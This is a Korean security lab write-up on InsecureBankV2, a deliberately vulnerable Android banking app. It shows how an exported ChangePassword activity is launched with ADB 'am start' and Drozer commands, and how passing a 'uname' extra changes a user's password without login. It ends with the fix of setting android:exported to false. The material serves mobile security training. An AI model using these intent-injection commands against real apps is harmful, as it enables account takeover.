액티비티 컨포넌트 취약점
취약점 진단
AndroidManifest.xml을 살펴보면 com.android.insecurebankv2.ChangePassword 액티비티의 exported 옵션이 true 인 것을 볼 수 있다.
따라서 우리는 ChangePassword 액티비티에 접근 할 수 있다.
![notion image](https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2F0de85482-c105-4bc9-8ce2-427dab62a0c0%2F779111b4-d284-4186-9e14-907d6bb793f0%2FUntitled.png?table=block&id=658e5fb3-29ee-421c-b5bc-fd00072e77ce&cache=v2)
ADB를 통한 접근
am을 사용하여 com.android.insecurebankv2.ChangePassword 액티비티를 실행 시킬 수 있다.
am start -n com.android.insecurebankv2/com.android.insecurebankv2.ChangePassword
![notion image](https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2F0de85482-c105-4bc9-8ce2-427dab62a0c0%2F15a99b62-a927-4635-8fcf-db650d4eb1dd%2FUntitled.png?table=block&id=ce1ebf41-fe5e-40d5-901b-a494201544b0&cache=v2)
하지만 Username의 값이 없기 때문에 Password를 변경 할 수 없다.
따라서 com.android.insecurebankv2.ChangePassword.class를 통해 intent 변수의 이름을 확인하였다.
![notion image](https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2F0de85482-c105-4bc9-8ce2-427dab62a0c0%2Ff28ef264-0f6e-45b4-b4e1-8e358ace1839%2FUntitled.png?table=block&id=6dce2a02-f347-41d5-9330-19bac910c08e&cache=v2)
다시한번 ADB로 intent를 포함하여 액티비티를 호출하였다.
am start -n com.android.insecurebankv2/com.android.insecurebankv2.ChangePassword --es uname jack
![notion image](https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2F0de85482-c105-4bc9-8ce2-427dab62a0c0%2Fb5e46583-109e-4814-accf-263bc2cbf8c9%2FUntitled.png?table=block&id=599135fb-51e0-4074-bf74-76cc063206eb&cache=v2)
정상적으로 비밀번호가 변경되는 것을 볼 수 있다.
![notion image](https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2F0de85482-c105-4bc9-8ce2-427dab62a0c0%2F0a85564d-f015-427c-a9cf-5d857a341773%2FUntitled.png?table=block&id=114c27a9-0007-4d2a-8d67-020e0b2537b1&cache=v2)
Drozer을 통한 접근
해당 명령어를 통해 ChangePassword 액티비티를 실행 시킬 수 있다.
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword
![notion image](https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2F0de85482-c105-4bc9-8ce2-427dab62a0c0%2F15a99b62-a927-4635-8fcf-db650d4eb1dd%2FUntitled.png?table=block&id=2d45b92d-a53b-4721-aaf2-56b2b0b3991d&cache=v2)
drozer에서 intent를 포함시키려면 —extra 옵션을 이용하면 된다.
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword --extra string uname jack
![notion image](https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2F0de85482-c105-4bc9-8ce2-427dab62a0c0%2Fb5e46583-109e-4814-accf-263bc2cbf8c9%2FUntitled.png?table=block&id=1ba669d9-1fa2-4d70-8f0c-a471b84d0720&cache=v2)
대응방안
외부에서 호출이 가능함으로 android:exported 옵션의 값을 false로 변경하면 된다.